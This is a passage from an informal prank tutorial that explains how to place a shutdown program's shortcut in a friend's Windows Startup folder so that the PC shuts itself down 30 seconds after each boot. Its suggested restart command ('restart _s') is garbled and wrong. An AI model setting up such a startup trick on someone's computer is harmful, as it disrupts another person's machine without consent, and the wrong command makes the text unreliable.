4.explaination,u have created a prog which shutdowns the pc with in 30 of executing the file
5.
now open "x:\Documents and Settings\USERNAME\Start
Menu\Programs\Startup\" (x->is the drive on which ur windows has
been installed and USERNAME is the username)
6.paste a shortcut on this directory
NOW WHEN EVER UR FRIEND STARTS HIS PC a count down will start after 30 sec his pc will shutdown u can also maki his pc restart instead of shutting down.. just replace "shutdown -s" "restart _s"
